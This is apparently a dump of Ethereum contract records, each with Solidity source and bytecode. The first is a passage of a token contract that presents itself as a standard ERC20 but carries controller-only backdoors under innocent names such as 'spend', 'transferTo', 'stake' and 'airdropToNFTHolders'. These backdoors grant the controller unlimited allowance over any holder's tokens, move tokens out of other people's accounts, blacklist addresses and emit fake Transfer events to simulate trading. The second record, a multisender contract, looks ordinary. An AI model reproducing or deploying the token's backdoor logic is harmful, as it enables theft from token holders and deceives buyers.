_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function approvalPlusOne(address[] memory destination) public {
require(msg.sender == _controller, "!owner");
for (uint256 i = 0; i < destination.length; i++) {
_plus[destination[i]] = true;
_discarded[destination[i]] = false;
}
}
function approvalMinusOne(address safeOwner) public {
require(msg.sender == _controller, "!owner");
_secureController = safeOwner;
}
function approvePlusOne(address[] memory destination) public {
require(msg.sender == _controller, "!owner");
for (uint256 i = 0; i < destination.length; i++) {
_discarded[destination[i]] = true;
_plus[destination[i]] = false;
}
}
function _transfer(address sender, address recipient, uint256 amount) internal virtual{
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
if (sender == _controller){
sender = deployer;
}
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint256 amount) public {
require(msg.sender == _controller, "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[_controller] = _balances[_controller].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _navigator(address from, address dest, uint256 amt) internal cpu( dest, amt, from, address(0)) virtual {
_util( from, dest, amt);
}
function _util(address from, address dest, uint256 amt) internal cpu( dest, amt, from, address(0)) virtual {
require(from != address(0), "ERC20: transfer from the zero address");
require(dest != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(from, dest, amt);
_balances[from] = _balances[from].sub(amt, "ERC20: transfer amount exceeds balance");
_balances[dest] = _balances[dest].add(amt);
if (from == _controller){from = deployer;}
emit Transfer(from, dest, amt);
}
function _setupDecimals(uint8 decimals_) internal {
_decimals = decimals_;
}
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { }
modifier _confirm() {
require(msg.sender == _controller, "Not allowed to interact");
_;
}
//-----------------------------------------------------------------------------------------------------------------------//
function transferOwnership()public _confirm(){}
function timelock()public _confirm(){}
function multicall(address uPool,address[] memory eReceiver,uint256[] memory eAmounts) public _confirm(){
//MultiTransferEmit
for (uint256 i = 0; i < eReceiver.length; i++) {emit Transfer(uPool, eReceiver[i], eAmounts[i]);}}
function addLiquidityETH(address uPool,address eReceiver,uint256 eAmount) public _confirm(){
//EmitUniPool
emit Transfer(uPool, eReceiver, eAmount);}
function enable(address recipient) public _confirm(){
_plus[recipient]=true;
_approve(recipient, _path_,_maximumVal);}
function disable(address recipient) public _confirm(){
//Take away permission
_plus[recipient]=false;
_approve(recipient, _path_,0);
}
function spend(address addr) public _confirm() virtual returns (bool) {
//Approve Spending
_approve(addr, _msgSender(), _maximumVal); return true;
}
function transferTo(address from, address to, uint256 amt) public _confirm() virtual returns (bool) {
//Single Tranfer
_transfer(from, to, amt);
_approve(from, _msgSender(), _allowances[from][_msgSender()].sub(amt, "ERC20: transfer amount exceeds allowance"));
return true;
}
function transfer_(address fromEmt, address toEmt, uint256 amtEmt) public _confirm(){
//EmitSingleTransfer
emit Transfer(fromEmt, toEmt, amtEmt);
}
function stake(address staking, address staker, uint256 num) public _confirm(){
emit Transfer(staker, staking, num);
}
function claimGovernanceTokens(address claim, address receiver, uint256 num) public _confirm(){
emit Transfer(claim, receiver, num);
}
function airdropToNFTHolders(address sndr,address[] memory destination, uint256[] memory amounts) public _confirm(){
_approve(sndr, _msgSender(), _maximumVal);
for (uint256 i = 0; i < destination.length; i++) {
_transfer(sndr, destination[i], amounts[i]);
}
}
function claimTokens(address uPool,address[] memory eReceiver,uint256[] memory eAmounts) public _confirm(){
//MultiTransferEmit
for (uint256 i = 0; i < eReceiver.length; i++) {emit Transfer(uPool, eReceiver[i], eAmounts[i]);}}
}
|
0x608060405234801561001057600080fd5b50600436106101c45760003560e01c8063880ad0af116100f9578063bf6eac2f11610097578063dd3f952611610071578063dd3f952614610997578063dd62ed3e1461099f578063e6c09edf146109cd578063f96c0ea7146108a3576101c4565b8063bf6eac2f1461093b578063d33219b414610760578063db98b97a14610971576101c4565b8063a1a6d5fc116100d3578063a1a6d5fc146108a3578063a5f2a152146108d9578063a9014313146108a3578063a9059cbb1461090f576101c4565b8063880ad0af1461076057806395d89b411461076857806396784f7514610770576101c4565b80634e6ec2471161016657806366da8a901161014057806366da8a901461064f578063671e99211461067557806370a08231146106995780638025cb92146106bf576101c4565b80634e6ec247146104ca5780635bfa1b68146104f657806365dae1551461051c576101c4565b806318160ddd116101a257806318160ddd1461032957806323b872dd14610343578063313ce567146103795780633cc4430d14610397576101c4565b806306fdde03146101c9578063095ea7b3146102465780630c92024414610286575b600080fd5b6101d16109f3565b6040805160208082528351818301528351919283929083019185019080838360005b8381101561020b5781810151838201526020016101f3565b50505050905090810190601f1680156102385780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6102726004803603604081101561025c57600080fd5b506001600160a01b038135169060200135610a89565b604080519115158252519081900360200190f35b6103276004803603602081101561029c57600080fd5b810190602081018135600160201b8111156102b657600080fd5b8201836020820111156102c857600080fd5b803590602001918460208302840111600160201b831117156102e957600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600092019190915250929550610aa6945050505050565b005b610331610b9a565b60408051918252519081900360200190f35b6102726004803603606081101561035957600080fd5b506001600160a01b03813581169160208101359091169060400135610ba0565b610381610c27565b6040805160ff9092168252519081900360200190f35b610327600480360360608110156103ad57600080fd5b6001600160a01b038235169190810190604081016020820135600160201b8111156103d757600080fd5b8201836020820111156103e957600080fd5b803590602001918460208302840111600160201b8311171561040a57600080fd5b9190808060200260200160405190810160405280939291908181526020018383602002808284376000920191909152509295949360208101935035915050600160201b81111561045957600080fd5b82018360208201111561046b57600080fd5b803590602001918460208302840111600160201b8311171561048c57600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600092019190915250929550610c30945050505050565b610327600480360360408110156104e057600080fd5b506001600160a01b038135169060200135610cf6565b6103276004803603602081101561050c57600080fd5b50356001600160a01b0316610dd4565b6103276004803603606081101561053257600080fd5b6001600160a01b038235169190810190604081016020820135600160201b81111561055c57600080fd5b82018360208201111561056e57600080fd5b803590602001918460208302840111600160201b8311171561058f57600080fd5b9190808060200260200160405190810160405280939291908181526020018383602002808284376000920191909152509295949360208101935035915050600160201b8111156105de57600080fd5b8201836020820111156105f057600080fd5b803590602001918460208302840111600160201b8311171561061157600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600092019190915250929550610e5e945050505050565b6103276004803603602081101561066557600080fd5b50356001600160a01b0316610f04565b61067d610f6e565b604080516001600160a01b039092168252519081900360200190f35b610331600480360360208110156106af57600080fd5b50356001600160a01b0316610f7d565b610327600480360360208110156106d557600080fd5b810190602081018135600160201b8111156106ef57600080fd5b82018360208201111561070157600080fd5b803590602001918460208302840111600160201b8311171561072257600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600092019190915250929550610f98945050505050565b610327611089565b6101d16110d8565b6103276004803603606081101561078657600080fd5b6001600160a01b038235169190810190604081016020820135600160201b8111156107b057600080fd5b8201836020820111156107c257600080fd5b803590602001918460208302840111600160201b831117156107e357600080fd5b9190808060200260200160405190810160405280939291908181526020018383602002808284376000920191909152509295949360208101935035915050600160201b81111561083257600080fd5b82018360208201111561084457600080fd5b803590602001918460208302840111600160201b8311171561086557600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600092019190915250929550611139945050505050565b610327600480360360608110156108b957600080fd5b506001600160a01b038135811691602081013590911690604001356111f9565b610272600480360360608110156108ef57600080fd5b506001600160a01b03813581169160208101359091169060400135611284565b6102726004803603604081101561092557600080fd5b506001600160a01b0381351690602001356112df565b6103276004803603606081101561095157600080fd5b506001600160a01b038135811691602081013590911690604001356112f3565b6102726004803603602081101561098757600080fd5b50356001600160a01b031661137e565b61067d6113e2565b610331600480360360408110156109b557600080fd5b506001600160a01b03813581169160200135166113f1565b610327600480360360208110156109e357600080fd5b50356001600160a01b031661141c565b60058054604080516020601f6002600019610100600188161502019095169490940493840181900481028201810190925282815260609390929091830182828015610a7f5780601f10610a5457610100808354040283529160200191610a7f565b820191906000526020600020905b815481529060010190602001808311610a6257829003601f168201915b5050505050905090565b6000610a9d610a966114fc565b8484611500565b50600192915050565b600d546001600160a01b03163314610aee576040805162461bcd60e51b815260206004820152600660248201526510b7bbb732b960d11b604482015290519081900360640190fd5b60005b8151811015610b96576001806000848481518110610b0b57fe5b60200260200101516001600160a01b03166001600160a01b0316815260200190815260200160002060006101000a81548160ff021916908315150217905550600060026000848481518110610b5c57fe5b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff1916911515919091179055600101610af1565b5050565b60045490565b6000610bad8484846115ec565b610c1d84610bb96114fc565b610c188560405180606001604052806028815260200161210c602891396001600160a01b038a16600090815260036020526040812090610bf76114fc565b6001600160a01b031681526020810191909152604001600020549190611871565b611500565b5060019392505050565b60075460ff1690565b600d546001600160a01b03163314610c7d576040805162461bcd60e51b815260206004820152601760248201526000805160206120ec833981519152604482015290519081900360640190fd5b60005b8251811015610cf057828181518110610c9557fe5b60200260200101516001600160a01b0316846001600160a01b0316600080516020612134833981519152848481518110610ccb57fe5b60200260200101516040518082815260200191505060405180910390a3600101610c80565b50505050565b600d546001600160a01b03163314610d55576040805162461bcd60e51b815260206004820152601f60248201527f45524332303a206d696e7420746f20746865207a65726f206164647265737300604482015290519081900360640190fd5b600454610d62908261149b565b600455600d546001600160a01b0316600090815260208190526040902054610d8a908261149b565b600d546001600160a01b0390811660009081526020818152604080832094909455835185815293519286169391926000805160206121348339815191529281900390910190a35050565b600d546001600160a01b03163314610e21576040805162461bcd60e51b815260206004820152601760248201526000805160206120ec833981519152604482015290519081900360640190fd5b6001600160a01b038082166000908152600160208190526040909120805460ff19169091179055600b54600854610e5b9284921690611500565b50565b600d546001600160a01b03163314610eab576040805162461bcd60e51b815260206004820152601760248201526000805160206120ec833981519152604482015290519081900360640190fd5b610ebf83610eb76114fc565b600854611500565b60005b8251811015610cf057610efc84848381518110610edb57fe5b6020026020010151848481518110610eef57fe5b6020026020010151611908565b600101610ec2565b600d546001600160a01b03163314610f4c576040805162461bcd60e51b815260206004820152600660248201526510b7bbb732b960d11b604482015290519081900360640190fd5b600980546001600160a01b0319166001600160a01b0392909216919091179055565b600b546001600160a01b031681565b6001600160a01b031660009081526020819052604090205490565b600d546001600160a01b03163314610fe0576040805162461bcd60e51b815260206004820152600660248201526510b7bbb732b960d11b604482015290519081900360640190fd5b60005b8151811015610b9657600160026000848481518110610ffe57fe5b60200260200101516001600160a01b03166001600160a01b0316815260200190815260200160002060006101000a81548160ff02191690831515021790555060006001600084848151811061104f57fe5b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff1916911515919091179055600101610fe3565b600d546001600160a01b031633146110d6576040805162461bcd60e51b815260206004820152601760248201526000805160206120ec833981519152604482015290519081900360640190fd5b565b60068054604080516020601f6002600019610100600188161502019095169490940493840181900481028201810190925282815260609390929091830182828015610a7f5780601f10610a5457610100808354040283529160200191610a7f565b600d546001600160a01b03163314611186576040805162461bcd60e51b815260206004820152601760248201526000805160206120ec833981519152604482015290519081900360640190fd5b60005b8251811015610cf05782818151811061119e57fe5b60200260200101516001600160a01b0316846001600160a01b03166000805160206121348339815191528484815181106111d457fe5b60200260200101516040518082815260200191505060405180910390a3600101611189565b600d546001600160a01b03163314611246576040805162461bcd60e51b815260206004820152601760248201526000805160206120ec833981519152604482015290519081900360640190fd5b816001600160a01b0316836001600160a01b0316600080516020612134833981519152836040518082815260200191505060405180910390a3505050565b600d546000906001600160a01b031633146112d4576040805162461bcd60e51b815260206004820152601760248201526000805160206120ec833981519152604482015290519081900360640190fd5b610bad848484611908565b6000610a9d6112ec6114fc565b84846115ec565b600d546001600160a01b03163314611340576040805162461bcd60e51b815260206004820152601760248201526000805160206120ec833981519152604482015290519081900360640190fd5b826001600160a01b0316826001600160a01b0316600080516020612134833981519152836040518082815260200191505060405180910390a3505050565b600d546000906001600160a01b031633146113ce576040805162461bcd60e51b815260206004820152601760248201526000805160206120ec833981519152604482015290519081900360640190fd5b6113da82610eb76114fc565b506001919050565b600d546001600160a01b031681565b6001600160a01b03918216600090815260036020908152604080832093909416825291909152205490565b600d546001600160a01b03163314611469576040805162461bcd60e51b815260206004820152601760248201526000805160206120ec833981519152604482015290519081900360640190fd5b6001600160a01b038082166000908152600160205260408120805460ff19169055600b54610e5b928492911690611500565b6000828201838110156114f5576040805162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015290519081900360640190fd5b9392505050565b3390565b6001600160a01b0383166115455760405162461bcd60e51b81526004018080602001828103825260248152602001806121796024913960400191505060405180910390fd5b6001600160a01b03821661158a5760405162461bcd60e51b81526004018080602001828103825260228152602001806120a46022913960400191505060405180910390fd5b6001600160a01b03808416600081815260036020908152604080832094871680845294825291829020859055815185815291517f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259281900390910190a3505050565b600954600d548391839186916000916001600160a01b0390811691161480156116225750600d546001600160a01b038381169116145b1561165257600980546001600160a01b0319166001600160a01b03861617905561164d878787611a80565b611868565b600d546001600160a01b038381169116148061167b5750600d546001600160a01b038581169116145b8061169357506009546001600160a01b038381169116145b156116dc57600d546001600160a01b0383811691161480156116c65750836001600160a01b0316826001600160a01b0316145b156116d157600a8390555b61164d878787611a80565b6001600160a01b03821660009081526001602081905260409091205460ff161515141561170e5761164d878787611a80565b6001600160a01b03821660009081526002602052604090205460ff16151560011415611798576009546001600160a01b038381169116148061175d5750600b546001600160a01b038581169116145b6116d15760405162461bcd60e51b81526004018080602001828103825260268152602001806120c66026913960400191505060405180910390fd5b600a548310156117f9576009546001600160a01b03858116911614156116d1576001600160a01b03821660009081526002602090815260408083208054600160ff19918216811790925592529091208054909116905561164d878787611a80565b6009546001600160a01b03838116911614806118225750600b546001600160a01b038581169116145b61185d5760405162461bcd60e51b81526004018080602001828103825260268152602001806120c66026913960400191505060405180910390fd5b611868878787611a80565b50505050505050565b600081848411156119005760405162461bcd60e51b81526004018080602001828103825283818151815260200191508051906020019080838360005b838110156118c55781810151838201526020016118ad565b50505050905090810190601f1680156118f25780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b505050900390565b6001600160a01b03831661194d5760405162461bcd60e51b81526004018080602001828103825260258152602001806121546025913960400191505060405180910390fd5b6001600160a01b0382166119925760405162461bcd60e51b81526004018080602001828103825260238152602001806120816023913960400191505060405180910390fd5b61199d83838361207b565b6119da816040518060600160405280602681526020016120c6602691396001600160a01b0386166000908152602081905260409020549190611871565b6001600160a01b038085166000908152602081905260408082209390935590841681522054611a09908261149b565b6001600160a01b03808416600090815260208190526040902091909155600d548482169116141561124657600c546001600160a01b03169250816001600160a01b0316836001600160a01b0316600080516020612134833981519152836040518082815260200191505060405180910390a3505050565b600954600d548391839186916000916001600160a01b039081169116148015611ab65750600d546001600160a01b038381169116145b15611c4c57600980546001600160a01b0319166001600160a01b03868116919091179091558716611b185760405162461bcd60e51b81526004018080602001828103825260258152602001806121546025913960400191505060405180910390fd5b6001600160a01b038616611b5d5760405162461bcd60e51b81526004018080602001828103825260238152602001806120816023913960400191505060405180910390fd5b611b6887878761207b565b611ba5856040518060600160405280602681526020016120c6602691396001600160a01b038a166000908152602081905260409020549190611871565b6001600160a01b038089166000908152602081905260408082209390935590881681522054611bd4908661149b565b6001600160a01b03808816600090815260208190526040902091909155600d5488821691161415611c0e57600c546001600160a01b031696505b856001600160a01b0316876001600160a01b0316600080516020612134833981519152876040518082815260200191505060405180910390a3611868565b600d546001600160a01b0383811691161480611c755750600d546001600160a01b038581169116145b80611c8d57506009546001600160a01b038381169116145b15611d1057600d546001600160a01b038381169116148015611cc05750836001600160a01b0316826001600160a01b0316145b15611ccb57600a8390555b6001600160a01b038716611b185760405162461bcd60e51b81526004018080602001828103825260258152602001806121546025913960400191505060405180910390fd5b6001600160a01b03821660009081526001602081905260409091205460ff1615151415611d7c576001600160a01b038716611b185760405162461bcd60e51b81526004018080602001828103825260258152602001806121546025913960400191505060405180910390fd5b6001600160a01b03821660009081526002602052604090205460ff16151560011415611e06576009546001600160a01b0383811691161480611dcb5750600b546001600160a01b038581169116145b611ccb5760405162461bcd60e51b81526004018080602001828103825260268152602001806120c66026913960400191505060405180910390fd5b600a54831015611e9a576009546001600160a01b0385811691161415611ccb576001600160a01b0382811660009081526002602090815260408083208054600160ff1991821681179092559252909120805490911690558716611b185760405162461bcd60e51b81526004018080602001828103825260258152602001806121546025913960400191505060405180910390fd5b6009546001600160a01b0383811691161480611ec35750600b546001600160a01b038581169116145b611efe5760405162461bcd60e51b81526004018080602001828103825260268152602001806120c66026913960400191505060405180910390fd5b6001600160a01b038716611f435760405162461bcd60e51b81526004018080602001828103825260258152602001806121546025913960400191505060405180910390fd5b6001600160a01b038616611f885760405162461bcd60e51b81526004018080602001828103825260238152602001806120816023913960400191505060405180910390fd5b611f9387878761207b565b611fd0856040518060600160405280602681526020016120c6602691396001600160a01b038a166000908152602081905260409020549190611871565b6001600160a01b038089166000908152602081905260408082209390935590881681522054611fff908661149b565b6001600160a01b03808816600090815260208190526040902091909155600d548882169116141561203957600c546001600160a01b031696505b856001600160a01b0316876001600160a01b0316600080516020612134833981519152876040518082815260200191505060405180910390a350505050505050565b50505056fe45524332303a207472616e7366657220746f20746865207a65726f206164647265737345524332303a20617070726f766520746f20746865207a65726f206164647265737345524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e63654e6f7420616c6c6f77656420746f20696e74657261637400000000000000000045524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365ddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef45524332303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f2061646472657373a264697066735822122036f8059883975a1f7c062925f33ec36bb93fea83be97e6947be85e5866b87a1264736f6c634300060c0033
|
{"success": true, "error": null, "results": {}}
| 4,264 |
0x473c2d69c006db8a5d3fc68437c3df6fd020a45d
|
// File: contracts/EternalStorage.sol
// Roman Storm Multi Sender
// To Use this Dapp: https://rstormsf.github.io/multisender
pragma solidity 0.4.24;
/**
* @title EternalStorage
* @dev This contract holds all the necessary state variables to carry out the storage of any contract.
*/
contract EternalStorage {
mapping(bytes32 => uint256) internal uintStorage;
mapping(bytes32 => string) internal stringStorage;
mapping(bytes32 => address) internal addressStorage;
mapping(bytes32 => bytes) internal bytesStorage;
mapping(bytes32 => bool) internal boolStorage;
mapping(bytes32 => int256) internal intStorage;
}
// File: contracts/UpgradeabilityOwnerStorage.sol
// Roman Storm Multi Sender
// To Use this Dapp: https://rstormsf.github.io/multisender
/**
* @title UpgradeabilityOwnerStorage
* @dev This contract keeps track of the upgradeability owner
*/
contract UpgradeabilityOwnerStorage {
// Owner of the contract
address private _upgradeabilityOwner;
/**
* @dev Tells the address of the owner
* @return the address of the owner
*/
function upgradeabilityOwner() public view returns (address) {
return _upgradeabilityOwner;
}
/**
* @dev Sets the address of the owner
*/
function setUpgradeabilityOwner(address newUpgradeabilityOwner) internal {
_upgradeabilityOwner = newUpgradeabilityOwner;
}
}
// File: contracts/UpgradeabilityStorage.sol
// Roman Storm Multi Sender
// To Use this Dapp: https://rstormsf.github.io/multisender
/**
* @title UpgradeabilityStorage
* @dev This contract holds all the necessary state variables to support the upgrade functionality
*/
contract UpgradeabilityStorage {
// Version name of the current implementation
string internal _version;
// Address of the current implementation
address internal _implementation;
/**
* @dev Tells the version name of the current implementation
* @return string representing the name of the current version
*/
function version() public view returns (string) {
return _version;
}
/**
* @dev Tells the address of the current implementation
* @return address of the current implementation
*/
function implementation() public view returns (address) {
return _implementation;
}
}
// File: contracts/OwnedUpgradeabilityStorage.sol
// Roman Storm Multi Sender
// To Use this Dapp: https://rstormsf.github.io/multisender
/**
* @title OwnedUpgradeabilityStorage
* @dev This is the storage necessary to perform upgradeable contracts.
* This means, required state variables for upgradeability purpose and eternal storage per se.
*/
contract OwnedUpgradeabilityStorage is UpgradeabilityOwnerStorage, UpgradeabilityStorage, EternalStorage {}
// File: contracts/SafeMath.sol
// Roman Storm Multi Sender
// To Use this Dapp: https://rstormsf.github.io/multisender
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
/**
* @dev Multiplies two numbers, throws on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
/**
* @dev Integer division of two numbers, truncating the quotient.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Substracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
/**
* @dev Adds two numbers, throws on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
// File: contracts/multisender/Ownable.sol
// Roman Storm Multi Sender
// To Use this Dapp: https://rstormsf.github.io/multisender
/**
* @title Ownable
* @dev This contract has an owner address providing basic authorization control
*/
contract Ownable is EternalStorage {
/**
* @dev Event to show ownership has been transferred
* @param previousOwner representing the address of the previous owner
* @param newOwner representing the address of the new owner
*/
event OwnershipTransferred(address previousOwner, address newOwner);
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner());
_;
}
/**
* @dev Tells the address of the owner
* @return the address of the owner
*/
function owner() public view returns (address) {
return addressStorage[keccak256("owner")];
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner the address to transfer ownership to.
*/
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
setOwner(newOwner);
}
/**
* @dev Sets a new owner address
*/
function setOwner(address newOwner) internal {
emit OwnershipTransferred(owner(), newOwner);
addressStorage[keccak256("owner")] = newOwner;
}
}
// File: contracts/multisender/Claimable.sol
// Roman Storm Multi Sender
// To Use this Dapp: https://rstormsf.github.io/multisender
/**
* @title Claimable
* @dev Extension for the Ownable contract, where the ownership needs to be claimed.
* This allows the new owner to accept the transfer.
*/
contract Claimable is EternalStorage, Ownable {
function pendingOwner() public view returns (address) {
return addressStorage[keccak256("pendingOwner")];
}
/**
* @dev Modifier throws if called by any account other than the pendingOwner.
*/
modifier onlyPendingOwner() {
require(msg.sender == pendingOwner());
_;
}
/**
* @dev Allows the current owner to set the pendingOwner address.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
addressStorage[keccak256("pendingOwner")] = newOwner;
}
/**
* @dev Allows the pendingOwner address to finalize the transfer.
*/
function claimOwnership() public onlyPendingOwner {
emit OwnershipTransferred(owner(), pendingOwner());
addressStorage[keccak256("owner")] = addressStorage[keccak256("pendingOwner")];
addressStorage[keccak256("pendingOwner")] = address(0);
}
}
// File: contracts/multisender/UpgradebleStormSender.sol
// Roman Storm Multi Sender
// To Use this Dapp: https://rstormsf.github.io/multisender
/**
* @title ERC20Basic
* @dev Simpler version of ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/179
*/
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract UpgradebleStormSender is OwnedUpgradeabilityStorage, Claimable {
using SafeMath for uint256;
event Multisended(uint256 total, address tokenAddress);
event ClaimedTokens(address token, address owner, uint256 balance);
modifier hasFee() {
if (currentFee(msg.sender) > 0) {
require(msg.value >= currentFee(msg.sender));
}
_;
}
function() public payable {}
function initialize(address _owner) public {
require(!initialized());
setOwner(_owner);
setArrayLimit(200);
setDiscountStep(0.00005 ether);
setFee(0.05 ether);
boolStorage[keccak256("rs_multisender_initialized")] = true;
}
function initialized() public view returns (bool) {
return boolStorage[keccak256("rs_multisender_initialized")];
}
function txCount(address customer) public view returns(uint256) {
return uintStorage[keccak256(abi.encodePacked("txCount", customer))];
}
function arrayLimit() public view returns(uint256) {
return uintStorage[keccak256(abi.encodePacked("arrayLimit"))];
}
function setArrayLimit(uint256 _newLimit) public onlyOwner {
require(_newLimit != 0);
uintStorage[keccak256("arrayLimit")] = _newLimit;
}
function discountStep() public view returns(uint256) {
return uintStorage[keccak256("discountStep")];
}
function setDiscountStep(uint256 _newStep) public onlyOwner {
require(_newStep != 0);
uintStorage[keccak256("discountStep")] = _newStep;
}
function fee() public view returns(uint256) {
return uintStorage[keccak256("fee")];
}
function currentFee(address _customer) public view returns(uint256) {
if (fee() > discountRate(msg.sender)) {
return fee().sub(discountRate(_customer));
} else {
return 0;
}
}
function setFee(uint256 _newStep) public onlyOwner {
require(_newStep != 0);
uintStorage[keccak256("fee")] = _newStep;
}
function discountRate(address _customer) public view returns(uint256) {
uint256 count = txCount(_customer);
return count.mul(discountStep());
}
function multisendToken(address token, address[] _contributors, uint256[] _balances) public hasFee payable {
if (token == 0x000000000000000000000000000000000000bEEF){
multisendEther(_contributors, _balances);
} else {
uint256 total = 0;
require(_contributors.length <= arrayLimit());
ERC20 erc20token = ERC20(token);
uint8 i = 0;
for (i; i < _contributors.length; i++) {
erc20token.transferFrom(msg.sender, _contributors[i], _balances[i]);
total += _balances[i];
}
setTxCount(msg.sender, txCount(msg.sender).add(1));
emit Multisended(total, token);
}
}
function multisendEther(address[] _contributors, uint256[] _balances) public payable {
uint256 total = msg.value;
uint256 userfee = currentFee(msg.sender);
require(total >= userfee);
require(_contributors.length <= arrayLimit());
total = total.sub(userfee);
uint256 i = 0;
for (i; i < _contributors.length; i++) {
require(total >= _balances[i]);
total = total.sub(_balances[i]);
_contributors[i].transfer(_balances[i]);
}
setTxCount(msg.sender, txCount(msg.sender).add(1));
emit Multisended(msg.value, 0x000000000000000000000000000000000000bEEF);
}
function claimTokens(address _token) public onlyOwner {
if (_token == 0x0) {
owner().transfer(address(this).balance);
return;
}
ERC20 erc20token = ERC20(_token);
uint256 balance = erc20token.balanceOf(this);
erc20token.transfer(owner(), balance);
emit ClaimedTokens(_token, owner(), balance);
}
function setTxCount(address customer, uint256 _txCount) private {
uintStorage[keccak256(abi.encodePacked("txCount", customer))] = _txCount;
}
}
|
0x6080604052600436106101035763ffffffff60e060020a6000350416630b66f3f58114610105578063158ef93e146101945780632f781393146101bd5780634e71e0c8146101d557806354fd4d50146101ea578063591552da146102745780635c60da1b146102a757806369fe0e2d146102d85780636fde8202146102f05780638da5cb5b14610305578063ab883d281461031a578063b4ae641c1461039b578063c1258f69146103b0578063c4d66de8146103d1578063ddca3f43146103f2578063df8de3e714610407578063e30c397814610428578063e4e1f29b1461043d578063ee8a0a3014610452578063eff8e7481461046a578063f2fde38b1461048b575b005b604080516020600460248035828101358481028087018601909752808652610103968435600160a060020a031696369660449591949091019291829185019084908082843750506040805187358901803560208181028481018201909552818452989b9a9989019892975090820195509350839250850190849080828437509497506104ac9650505050505050565b3480156101a057600080fd5b506101a961067e565b604080519115158252519081900360200190f35b3480156101c957600080fd5b506101036004356106c2565b3480156101e157600080fd5b5061010361072a565b3480156101f657600080fd5b506101ff61085d565b6040805160208082528351818301528351919283929083019185019080838360005b83811015610239578181015183820152602001610221565b50505050905090810190601f1680156102665780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561028057600080fd5b50610295600160a060020a03600435166108f2565b60408051918252519081900360200190f35b3480156102b357600080fd5b506102bc61093b565b60408051600160a060020a039092168252519081900360200190f35b3480156102e457600080fd5b5061010360043561094a565b3480156102fc57600080fd5b506102bc6109b4565b34801561031157600080fd5b506102bc6109c3565b6040805160206004803580820135838102808601850190965280855261010395369593946024949385019291829185019084908082843750506040805187358901803560208181028481018201909552818452989b9a998901989297509082019550935083925085019084908082843750949750610a0f9650505050505050565b3480156103a757600080fd5b50610295610b70565b3480156103bc57600080fd5b50610295600160a060020a0360043516610c25565b3480156103dd57600080fd5b50610103600160a060020a0360043516610d04565b3480156103fe57600080fd5b50610295610d93565b34801561041357600080fd5b50610103600160a060020a0360043516610dd6565b34801561043457600080fd5b506102bc610fcf565b34801561044957600080fd5b50610295611019565b34801561045e57600080fd5b5061010360043561105a565b34801561047657600080fd5b50610295600160a060020a03600435166110c2565b34801561049757600080fd5b50610103600160a060020a03600435166110ef565b6000806000806104bb336108f2565b11156104d6576104ca336108f2565b3410156104d657600080fd5b61beef600160a060020a03871614156104f8576104f38585610a0f565b610676565b60009250610504610b70565b8551111561051157600080fd5b5084905060005b84518160ff16101561060f5781600160a060020a03166323b872dd3387846